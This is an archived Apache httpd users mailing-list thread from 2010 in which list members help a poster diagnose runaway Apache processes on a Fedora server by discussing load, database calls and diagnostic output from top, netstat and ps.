> #<VirtualHost *:80>
> #    ServerAdmin webmaster@dummy-host.example.com
> #    DocumentRoot /www/docs/dummy-host.example.com
> #    ServerName dummy-host.example.com
> #    ErrorLog logs/dummy-host.example.com-error_log
> #    CustomLog logs/dummy-host.example.com-access_log common
> #</VirtualHost>
> 
> <!--Snipped all my virtual hosts to cut down on message size, they are
> in the conf-->
> 
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>    "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org

-- 
Mark Watts BSc RHCE MBCS
Senior Systems Engineer, Managed Services Manpower
www.QinetiQ.com
QinetiQ - Delivering customer-focused solutions
GPG Key: http://www.linux-corner.info/mwatts.gpg

Re: [users@httpd] Re: Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
Here's another, but I think it did the same thing.  I just ran "ps auxww >
ps2.txt" then attached the file to this email.  Did I miss something?
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Thu, Jan 28, 2010 at 17:51, Daniel Reinhardt <cr...@cryptodan.net>wrote:

>
> --------------------------------------------------
> From: "Dan Bunyard" <da...@gmail.com>
> Sent: 28 January, 2010 21:21
>
> To: <us...@httpd.apache.org>
> Subject: Re: [users@httpd] Re: Runaway Apache Process
>
>  Here is a screen shot of top.  The server is currently running just fine.
>> Load average is good a low.  The other two commands produced too much
>> information for a screen shot so I piped them to a test file and attached
>> them.  Thanks for your help!!
>> --
>> Dan
>>
>> http://www.moonlightrpg.com
>> http://www.linkedin.com/in/danbunyard
>> http://www.danodemano.com
>> http://www.dansrandomness.com
>> http://www.danandshelley.com
>>
>> This is not a problem that requires infinite wisdom, Benj. This is a
>> problem
>> that requires enough neural organization to qualify as a vertebrate,
>> apparently a stretch for some folks these days.
>> ~Cecil Adams.
>>
>>
>> On Thu, Jan 28, 2010 at 16:16, Daniel Reinhardt <cryptodan@cryptodan.net
>> >wrote:
>>
>>
>>> --------------------------------------------------
>>>
>>> From: "Dan Bunyard" <da...@gmail.com>
>>> Sent: 28 January, 2010 19:28
>>>
>>> To: <us...@httpd.apache.org>
>>> Subject: Re: [users@httpd] Re: Runaway Apache Process
>>>
>>>
>>>  @Peter
>>>
>>>> Is there database access during this? I'm not sure, a few people
>>>> mentioned
>>>> checking this the next time it happened, so I will check
>>>>
>>>> -What external dependencies are there (if any)?
>>>>   - Databases? There are some LOCAL database calls to MySQL running on
>>>> the same server, that it all
>>>>   - External Calls?
>>>>
>>>> -Do you have high timeouts on anything?  Not sure what you mean hear,
>>>> when
>>>> this happens pages take a VERY long time to load, if at all
>>>>
>>>> -Is it just very inefficient code?  Not likely, the same code has been
>>>> used
>>>> on other machines withouh any problem.
>>>>
>>>> At this point (in my experience), if you do not see a clear indication
>>>> of
>>>> the issue in the apache logs, it's not apache.  I have enabled forensic
>>>> logging to help trace the problem the next time it happens.
>>>>
>>>> @Daniel Reinhardt
>>>> I don't really think that CPU is the issue.  As others have mentioned
>>>> the
>>>> hits are very low and I simply host a few blogs, some dev sites, and
>>>> other
>>>> misc things.  I once ran an very popular game site (getting upwards of 1
>>>> million hits a month with a database back end) on a low-end Athlon XP
>>>> processor with 768MB of RAM and it ran fine.  It was Win 2000 running
>>>> Xampp.
>>>>
>>>> I am running 64Bit Fedora currently but I don't believe that RAM is the
>>>> issue either.
>>>>
>>>> I will be sure to block that IP address.
>>>>
>>>> @Nicholas Sherlock
>>>> That is correct, I don't run anything very impressive at all, with the
>>>> exception of a few domains, most of them don't even really have much if
>>>> anything on them.  The server handles mail also (though I just put mail
>>>> on
>>>> it a week or two ago, after the first time this happened) but it just
>>>> forwarding them all to external addresses.
>>>>
>>>> @Justin Pasher
>>>> I agree, I have run MUCH higher traffic on a much lower end machine.  I
>>>> truly do not believe the system spec to be the problem as the first time
>>>> this happened there was only 2 web site on the box.
>>>>
>>>> @Eric Covener
>>>> I completely agree, this does not seem to be from a lack of resources.
>>>>
>>>>
>>>> Thanks,
>>>> --
>>>> Dan
>>>>
>>>> http://www.moonlightrpg.com
>>>> http://www.linkedin.com/in/danbunyard
>>>> http://www.danodemano.com
>>>> http://www.dansrandomness.com
>>>> http://www.danandshelley.com
>>>>
>>>> This is not a problem that requires infinite wisdom, Benj. This is a
>>>> problem
>>>> that requires enough neural organization to qualify as a vertebrate,
>>>> apparently a stretch for some folks these days.
>>>> ~Cecil Adams.
>>>>
>>>>
>>>> On Thu, Jan 28, 2010 at 12:18, <PM...@nypl.org> wrote:
>>>>
>>>>
>>>>  >
>>>>> > >
>>>>> > > Obviously not in this case as this person wouldn't ne here
>>>>> complaining
>>>>> about
>>>>> > > apache and its processes.  The issue here is the CPU is too weak
>>>>> even
>>>>> if it
>>>>> > > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
>>>>> processor.
>>>>> > >  Its strictly for home computing.  I help remote administrate a
>>>>> server
>>>>> that
>>>>> > > supports 10 Domains and 5 E-Mail Servers that receive a whole lot
>>>>> more
>>>>> > > traffic on a P3 933Mhz and these issues are not occurring there,
>>>>> and
>>>>> the
>>>>> > > settings for Apache are default.
>>>>> >
>>>>> > Having lots of processes hanging around doesn't imply high CPU usage
>>>>> > or insufficient horsepower.
>>>>> >
>>>>>
>>>>> Is there database access during this? High load is not indicative of
>>>>> the
>>>>> CPU working hard. High load, in this case, is due to the CPU not
>>>>> getting
>>>>> answers back fast enough, and processes queueing up (eventually
>>>>> shutting
>>>>> down apache). It will consume all available threads (connections), then
>>>>> start killing the box.
>>>>>
>>>>> -What external dependencies are there (if any)?
>>>>>    - Databases?
>>>>>    - External Calls?
>>>>>
>>>>> -Do you have high timeouts on anything?
>>>>>
>>>>> -Is it just very inefficient code?
>>>>>
>>>>> At this point (in my experience), if you do not see a clear indication
>>>>> of
>>>>> the issue in the apache logs, it's not apache.
>>>>>
>>>>> Peter J. Milanese
>>>>>
>>>>> > --
>>>>> > Eric Covener
>>>>> > covener@gmail.com
>>>>> >
>>>>> > ---------------------------------------------------------------------
>>>>> > The official User-To-User support forum of the Apache HTTP Server
>>>>> Project.
>>>>> > See <URL:http://httpd.apache.org/userslist.html> for more info.
>>>>> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>>> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>>>> > For additional commands, e-mail: users-help@httpd.apache.org
>>>>> >
>>>>>
>>>>>
>>>>> ---------------------------------------------------------------------
>>>>> The official User-To-User support forum of the Apache HTTP Server
>>>>> Project.
>>>>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>>>>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>>>> For additional commands, e-mail: users-help@httpd.apache.org
>>>>>
>>>>>
>>>>>
>>>>>
>>>>  Dan,
>>>
>>> Can you do a top and do a screenshot, and post the results here.  Can you
>>> also post a copy of netstat -anp as well as ps auxww.  This will give us
>>> a
>>> better idea of what is going on with your system.
>>>
>>> Thanks,
>>> Daniel
>>>
>>> ---------------------------------------------------------------------
>>> The official User-To-User support forum of the Apache HTTP Server
>>> Project.
>>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>> For additional commands, e-mail: users-help@httpd.apache.org
>>>
>>>
>>>
>>
>
>
>
>> ---------------------------------------------------------------------
>> The official User-To-User support forum of the Apache HTTP Server Project.
>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> For additional commands, e-mail: users-help@httpd.apache.org
>>
>
> Dan,
>
> The full ps print cuts off.
>
>
> Thanks,
> Daniel
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Re: Runaway Apache Process

Posted by Daniel Reinhardt <cr...@cryptodan.net>.
--------------------------------------------------
From: "Dan Bunyard" <da...@gmail.com>
Sent: 28 January, 2010 21:21
To: <us...@httpd.apache.org>
Subject: Re: [users@httpd] Re: Runaway Apache Process

> Here is a screen shot of top.  The server is currently running just fine.
> Load average is good a low.  The other two commands produced too much
> information for a screen shot so I piped them to a test file and attached
> them.  Thanks for your help!!
> --
> Dan
>
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com
>
> This is not a problem that requires infinite wisdom, Benj. This is a problem
> that requires enough neural organization to qualify as a vertebrate,
> apparently a stretch for some folks these days.
> ~Cecil Adams.
>
>
> On Thu, Jan 28, 2010 at 16:16, Daniel Reinhardt 
> <cr...@cryptodan.net>wrote:
>
>>
>> --------------------------------------------------
>>
>> From: "Dan Bunyard" <da...@gmail.com>
>> Sent: 28 January, 2010 19:28
>>
>> To: <us...@httpd.apache.org>
>> Subject: Re: [users@httpd] Re: Runaway Apache Process
>>
>>
>>  @Peter
>>> Is there database access during this? I'm not sure, a few people mentioned
>>> checking this the next time it happened, so I will check
>>>
>>> -What external dependencies are there (if any)?
>>>    - Databases? There are some LOCAL database calls to MySQL running on
>>> the same server, that it all
>>>    - External Calls?
>>>
>>> -Do you have high timeouts on anything?  Not sure what you mean hear, when
>>> this happens pages take a VERY long time to load, if at all
>>>
>>> -Is it just very inefficient code?  Not likely, the same code has been
>>> used
>>> on other machines withouh any problem.
>>>
>>> At this point (in my experience), if you do not see a clear indication of
>>> the issue in the apache logs, it's not apache.  I have enabled forensic
>>> logging to help trace the problem the next time it happens.
>>>
>>> @Daniel Reinhardt
>>> I don't really think that CPU is the issue.  As others have mentioned the
>>> hits are very low and I simply host a few blogs, some dev sites, and other
>>> misc things.  I once ran an very popular game site (getting upwards of 1
>>> million hits a month with a database back end) on a low-end Athlon XP
>>> processor with 768MB of RAM and it ran fine.  It was Win 2000 running
>>> Xampp.
>>>
>>> I am running 64Bit Fedora currently but I don't believe that RAM is the
>>> issue either.
>>>
>>> I will be sure to block that IP address.
>>>
>>> @Nicholas Sherlock
>>> That is correct, I don't run anything very impressive at all, with the
>>> exception of a few domains, most of them don't even really have much if
>>> anything on them.  The server handles mail also (though I just put mail on
>>> it a week or two ago, after the first time this happened) but it just
>>> forwarding them all to external addresses.
>>>
>>> @Justin Pasher
>>> I agree, I have run MUCH higher traffic on a much lower end machine.  I
>>> truly do not believe the system spec to be the problem as the first time
>>> this happened there was only 2 web site on the box.
>>>
>>> @Eric Covener
>>> I completely agree, this does not seem to be from a lack of resources.
>>>
>>>
>>> Thanks,
>>> --
>>> Dan
>>>
>>> http://www.moonlightrpg.com
>>> http://www.linkedin.com/in/danbunyard
>>> http://www.danodemano.com
>>> http://www.dansrandomness.com
>>> http://www.danandshelley.com
>>>
>>> This is not a problem that requires infinite wisdom, Benj. This is a
>>> problem
>>> that requires enough neural organization to qualify as a vertebrate,
>>> apparently a stretch for some folks these days.
>>> ~Cecil Adams.
>>>
>>>
>>> On Thu, Jan 28, 2010 at 12:18, <PM...@nypl.org> wrote:
>>>
>>>
>>>> >
>>>> > >
>>>> > > Obviously not in this case as this person wouldn't ne here
>>>> complaining
>>>> about
>>>> > > apache and its processes.  The issue here is the CPU is too weak even
>>>> if it
>>>> > > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
>>>> processor.
>>>> > >  Its strictly for home computing.  I help remote administrate a
>>>> server
>>>> that
>>>> > > supports 10 Domains and 5 E-Mail Servers that receive a whole lot
>>>> more
>>>> > > traffic on a P3 933Mhz and these issues are not occurring there, and
>>>> the
>>>> > > settings for Apache are default.
>>>> >
>>>> > Having lots of processes hanging around doesn't imply high CPU usage
>>>> > or insufficient horsepower.
>>>> >
>>>>
>>>> Is there database access during this? High load is not indicative of the
>>>> CPU working hard. High load, in this case, is due to the CPU not getting
>>>> answers back fast enough, and processes queueing up (eventually shutting
>>>> down apache). It will consume all available threads (connections), then
>>>> start killing the box.
>>>>
>>>> -What external dependencies are there (if any)?
>>>>     - Databases?
>>>>     - External Calls?
>>>>
>>>> -Do you have high timeouts on anything?
>>>>
>>>> -Is it just very inefficient code?
>>>>
>>>> At this point (in my experience), if you do not see a clear indication of
>>>> the issue in the apache logs, it's not apache.
>>>>
>>>> Peter J. Milanese
>>>>
>>>> > --
>>>> > Eric Covener
>>>> > covener@gmail.com
>>>> >
>>>> > ---------------------------------------------------------------------
>>>> > The official User-To-User support forum of the Apache HTTP Server
>>>> Project.
>>>> > See <URL:http://httpd.apache.org/userslist.html> for more info.
>>>> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>>> > For additional commands, e-mail: users-help@httpd.apache.org
>>>> >
>>>>
>>>>
>>>> ---------------------------------------------------------------------
>>>> The official User-To-User support forum of the Apache HTTP Server
>>>> Project.
>>>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>>>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>>> For additional commands, e-mail: users-help@httpd.apache.org
>>>>
>>>>
>>>>
>>>
>> Dan,
>>
>> Can you do a top and do a screenshot, and post the results here.  Can you
>> also post a copy of netstat -anp as well as ps auxww.  This will give us a
>> better idea of what is going on with your system.
>>
>> Thanks,
>> Daniel
>>
>> ---------------------------------------------------------------------
>> The official User-To-User support forum of the Apache HTTP Server Project.
>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> For additional commands, e-mail: users-help@httpd.apache.org
>>
>>
>



>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org

Dan,

The full ps print cuts off.

Thanks,
Daniel 


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Re: Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
Here is a screen shot of top.  The server is currently running just fine.
Load average is good a low.  The other two commands produced too much
information for a screen shot so I piped them to a test file and attached
them.  Thanks for your help!!
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Thu, Jan 28, 2010 at 16:16, Daniel Reinhardt <cr...@cryptodan.net>wrote:

>
> --------------------------------------------------
>
> From: "Dan Bunyard" <da...@gmail.com>
> Sent: 28 January, 2010 19:28
>
> To: <us...@httpd.apache.org>
> Subject: Re: [users@httpd] Re: Runaway Apache Process
>
>
>  @Peter
>> Is there database access during this? I'm not sure, a few people mentioned
>> checking this the next time it happened, so I will check
>>
>> -What external dependencies are there (if any)?
>>    - Databases? There are some LOCAL database calls to MySQL running on
>> the same server, that it all
>>    - External Calls?
>>
>> -Do you have high timeouts on anything?  Not sure what you mean hear, when
>> this happens pages take a VERY long time to load, if at all
>>
>> -Is it just very inefficient code?  Not likely, the same code has been
>> used
>> on other machines withouh any problem.
>>
>> At this point (in my experience), if you do not see a clear indication of
>> the issue in the apache logs, it's not apache.  I have enabled forensic
>> logging to help trace the problem the next time it happens.
>>
>> @Daniel Reinhardt
>> I don't really think that CPU is the issue.  As others have mentioned the
>> hits are very low and I simply host a few blogs, some dev sites, and other
>> misc things.  I once ran an very popular game site (getting upwards of 1
>> million hits a month with a database back end) on a low-end Athlon XP
>> processor with 768MB of RAM and it ran fine.  It was Win 2000 running
>> Xampp.
>>
>> I am running 64Bit Fedora currently but I don't believe that RAM is the
>> issue either.
>>
>> I will be sure to block that IP address.
>>
>> @Nicholas Sherlock
>> That is correct, I don't run anything very impressive at all, with the
>> exception of a few domains, most of them don't even really have much if
>> anything on them.  The server handles mail also (though I just put mail on
>> it a week or two ago, after the first time this happened) but it just
>> forwarding them all to external addresses.
>>
>> @Justin Pasher
>> I agree, I have run MUCH higher traffic on a much lower end machine.  I
>> truly do not believe the system spec to be the problem as the first time
>> this happened there was only 2 web site on the box.
>>
>> @Eric Covener
>> I completely agree, this does not seem to be from a lack of resources.
>>
>>
>> Thanks,
>> --
>> Dan
>>
>> http://www.moonlightrpg.com
>> http://www.linkedin.com/in/danbunyard
>> http://www.danodemano.com
>> http://www.dansrandomness.com
>> http://www.danandshelley.com
>>
>> This is not a problem that requires infinite wisdom, Benj. This is a
>> problem
>> that requires enough neural organization to qualify as a vertebrate,
>> apparently a stretch for some folks these days.
>> ~Cecil Adams.
>>
>>
>> On Thu, Jan 28, 2010 at 12:18, <PM...@nypl.org> wrote:
>>
>>
>>> >
>>> > >
>>> > > Obviously not in this case as this person wouldn't ne here
>>> complaining
>>> about
>>> > > apache and its processes.  The issue here is the CPU is too weak even
>>> if it
>>> > > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
>>> processor.
>>> > >  Its strictly for home computing.  I help remote administrate a
>>> server
>>> that
>>> > > supports 10 Domains and 5 E-Mail Servers that receive a whole lot
>>> more
>>> > > traffic on a P3 933Mhz and these issues are not occurring there, and
>>> the
>>> > > settings for Apache are default.
>>> >
>>> > Having lots of processes hanging around doesn't imply high CPU usage
>>> > or insufficient horsepower.
>>> >
>>>
>>> Is there database access during this? High load is not indicative of the
>>> CPU working hard. High load, in this case, is due to the CPU not getting
>>> answers back fast enough, and processes queueing up (eventually shutting
>>> down apache). It will consume all available threads (connections), then
>>> start killing the box.
>>>
>>> -What external dependencies are there (if any)?
>>>     - Databases?
>>>     - External Calls?
>>>
>>> -Do you have high timeouts on anything?
>>>
>>> -Is it just very inefficient code?
>>>
>>> At this point (in my experience), if you do not see a clear indication of
>>> the issue in the apache logs, it's not apache.
>>>
>>> Peter J. Milanese
>>>
>>> > --
>>> > Eric Covener
>>> > covener@gmail.com
>>> >
>>> > ---------------------------------------------------------------------
>>> > The official User-To-User support forum of the Apache HTTP Server
>>> Project.
>>> > See <URL:http://httpd.apache.org/userslist.html> for more info.
>>> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>> > For additional commands, e-mail: users-help@httpd.apache.org
>>> >
>>>
>>>
>>> ---------------------------------------------------------------------
>>> The official User-To-User support forum of the Apache HTTP Server
>>> Project.
>>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>> For additional commands, e-mail: users-help@httpd.apache.org
>>>
>>>
>>>
>>
> Dan,
>
> Can you do a top and do a screenshot, and post the results here.  Can you
> also post a copy of netstat -anp as well as ps auxww.  This will give us a
> better idea of what is going on with your system.
>
> Thanks,
> Daniel
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Re: Runaway Apache Process

Posted by Daniel Reinhardt <cr...@cryptodan.net>.
--------------------------------------------------
From: "Dan Bunyard" <da...@gmail.com>
Sent: 28 January, 2010 19:28
To: <us...@httpd.apache.org>
Subject: Re: [users@httpd] Re: Runaway Apache Process

> @Peter
> Is there database access during this? I'm not sure, a few people mentioned
> checking this the next time it happened, so I will check
>
> -What external dependencies are there (if any)?
>     - Databases? There are some LOCAL database calls to MySQL running on
> the same server, that it all
>     - External Calls?
>
> -Do you have high timeouts on anything?  Not sure what you mean hear, when
> this happens pages take a VERY long time to load, if at all
>
> -Is it just very inefficient code?  Not likely, the same code has been used
> on other machines withouh any problem.
>
> At this point (in my experience), if you do not see a clear indication of
> the issue in the apache logs, it's not apache.  I have enabled forensic
> logging to help trace the problem the next time it happens.
>
> @Daniel Reinhardt
> I don't really think that CPU is the issue.  As others have mentioned the
> hits are very low and I simply host a few blogs, some dev sites, and other
> misc things.  I once ran an very popular game site (getting upwards of 1
> million hits a month with a database back end) on a low-end Athlon XP
> processor with 768MB of RAM and it ran fine.  It was Win 2000 running Xampp.
>
> I am running 64Bit Fedora currently but I don't believe that RAM is the
> issue either.
>
> I will be sure to block that IP address.
>
> @Nicholas Sherlock
> That is correct, I don't run anything very impressive at all, with the
> exception of a few domains, most of them don't even really have much if
> anything on them.  The server handles mail also (though I just put mail on
> it a week or two ago, after the first time this happened) but it just
> forwarding them all to external addresses.
>
> @Justin Pasher
> I agree, I have run MUCH higher traffic on a much lower end machine.  I
> truly do not believe the system spec to be the problem as the first time
> this happened there was only 2 web site on the box.
>
> @Eric Covener
> I completely agree, this does not seem to be from a lack of resources.
>
>
> Thanks,
> --
> Dan
>
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com
>
> This is not a problem that requires infinite wisdom, Benj. This is a problem
> that requires enough neural organization to qualify as a vertebrate,
> apparently a stretch for some folks these days.
> ~Cecil Adams.
>
>
> On Thu, Jan 28, 2010 at 12:18, <PM...@nypl.org> wrote:
>
>>
>> >
>> > >
>> > > Obviously not in this case as this person wouldn't ne here complaining
>> about
>> > > apache and its processes.  The issue here is the CPU is too weak even
>> if it
>> > > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
>> processor.
>> > >  Its strictly for home computing.  I help remote administrate a server
>> that
>> > > supports 10 Domains and 5 E-Mail Servers that receive a whole lot more
>> > > traffic on a P3 933Mhz and these issues are not occurring there, and
>> the
>> > > settings for Apache are default.
>> >
>> > Having lots of processes hanging around doesn't imply high CPU usage
>> > or insufficient horsepower.
>> >
>>
>> Is there database access during this? High load is not indicative of the
>> CPU working hard. High load, in this case, is due to the CPU not getting
>> answers back fast enough, and processes queueing up (eventually shutting
>> down apache). It will consume all available threads (connections), then
>> start killing the box.
>>
>> -What external dependencies are there (if any)?
>>      - Databases?
>>      - External Calls?
>>
>> -Do you have high timeouts on anything?
>>
>> -Is it just very inefficient code?
>>
>> At this point (in my experience), if you do not see a clear indication of
>> the issue in the apache logs, it's not apache.
>>
>> Peter J. Milanese
>>
>> > --
>> > Eric Covener
>> > covener@gmail.com
>> >
>> > ---------------------------------------------------------------------
>> > The official User-To-User support forum of the Apache HTTP Server
>> Project.
>> > See <URL:http://httpd.apache.org/userslist.html> for more info.
>> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> > For additional commands, e-mail: users-help@httpd.apache.org
>> >
>>
>>
>> ---------------------------------------------------------------------
>> The official User-To-User support forum of the Apache HTTP Server Project.
>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> For additional commands, e-mail: users-help@httpd.apache.org
>>
>>
>

Dan,

Can you do a top and do a screenshot, and post the results here.  Can you also 
post a copy of netstat -anp as well as ps auxww.  This will give us a better 
idea of what is going on with your system.

Thanks,
Daniel 


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Re: Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
@Peter
Is there database access during this? I'm not sure, a few people mentioned
checking this the next time it happened, so I will check

-What external dependencies are there (if any)?
     - Databases? There are some LOCAL database calls to MySQL running on
the same server, that it all
     - External Calls?

-Do you have high timeouts on anything?  Not sure what you mean hear, when
this happens pages take a VERY long time to load, if at all

-Is it just very inefficient code?  Not likely, the same code has been used
on other machines withouh any problem.

At this point (in my experience), if you do not see a clear indication of
the issue in the apache logs, it's not apache.  I have enabled forensic
logging to help trace the problem the next time it happens.

@Daniel Reinhardt
I don't really think that CPU is the issue.  As others have mentioned the
hits are very low and I simply host a few blogs, some dev sites, and other
misc things.  I once ran an very popular game site (getting upwards of 1
million hits a month with a database back end) on a low-end Athlon XP
processor with 768MB of RAM and it ran fine.  It was Win 2000 running Xampp.

I am running 64Bit Fedora currently but I don't believe that RAM is the
issue either.

I will be sure to block that IP address.

@Nicholas Sherlock
That is correct, I don't run anything very impressive at all, with the
exception of a few domains, most of them don't even really have much if
anything on them.  The server handles mail also (though I just put mail on
it a week or two ago, after the first time this happened) but it just
forwarding them all to external addresses.

@Justin Pasher
I agree, I have run MUCH higher traffic on a much lower end machine.  I
truly do not believe the system spec to be the problem as the first time
this happened there was only 2 web site on the box.

@Eric Covener
I completely agree, this does not seem to be from a lack of resources.


Thanks,
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Thu, Jan 28, 2010 at 12:18, <PM...@nypl.org> wrote:

>
> >
> > >
> > > Obviously not in this case as this person wouldn't ne here complaining
> about
> > > apache and its processes.  The issue here is the CPU is too weak even
> if it
> > > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
> processor.
> > >  Its strictly for home computing.  I help remote administrate a server
> that
> > > supports 10 Domains and 5 E-Mail Servers that receive a whole lot more
> > > traffic on a P3 933Mhz and these issues are not occurring there, and
> the
> > > settings for Apache are default.
> >
> > Having lots of processes hanging around doesn't imply high CPU usage
> > or insufficient horsepower.
> >
>
> Is there database access during this? High load is not indicative of the
> CPU working hard. High load, in this case, is due to the CPU not getting
> answers back fast enough, and processes queueing up (eventually shutting
> down apache). It will consume all available threads (connections), then
> start killing the box.
>
> -What external dependencies are there (if any)?
>      - Databases?
>      - External Calls?
>
> -Do you have high timeouts on anything?
>
> -Is it just very inefficient code?
>
> At this point (in my experience), if you do not see a clear indication of
> the issue in the apache logs, it's not apache.
>
> Peter J. Milanese
>
> > --
> > Eric Covener
> > covener@gmail.com
> >
> > ---------------------------------------------------------------------
> > The official User-To-User support forum of the Apache HTTP Server
> Project.
> > See <URL:http://httpd.apache.org/userslist.html> for more info.
> > To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
> >    "   from the digest: users-digest-unsubscribe@httpd.apache.org
> > For additional commands, e-mail: users-help@httpd.apache.org
> >
>
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>
>

Re: [users@httpd] Re: Runaway Apache Process

Posted by PM...@nypl.org.
>
> >
> > Obviously not in this case as this person wouldn't ne here complaining
about
> > apache and its processes.  The issue here is the CPU is too weak even
if it
> > is a 2.4Ghz processor.  The E2220 isn't suitable for a server
processor.
> >  Its strictly for home computing.  I help remote administrate a server
that
> > supports 10 Domains and 5 E-Mail Servers that receive a whole lot more
> > traffic on a P3 933Mhz and these issues are not occurring there, and
the
> > settings for Apache are default.
>
> Having lots of processes hanging around doesn't imply high CPU usage
> or insufficient horsepower.
>

Is there database access during this? High load is not indicative of the
CPU working hard. High load, in this case, is due to the CPU not getting
answers back fast enough, and processes queueing up (eventually shutting
down apache). It will consume all available threads (connections), then
start killing the box.

-What external dependencies are there (if any)?
      - Databases?
      - External Calls?

-Do you have high timeouts on anything?

-Is it just very inefficient code?

At this point (in my experience), if you do not see a clear indication of
the issue in the apache logs, it's not apache.

Peter J. Milanese

> --
> Eric Covener
> covener@gmail.com
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server
Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>    "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Re: Runaway Apache Process

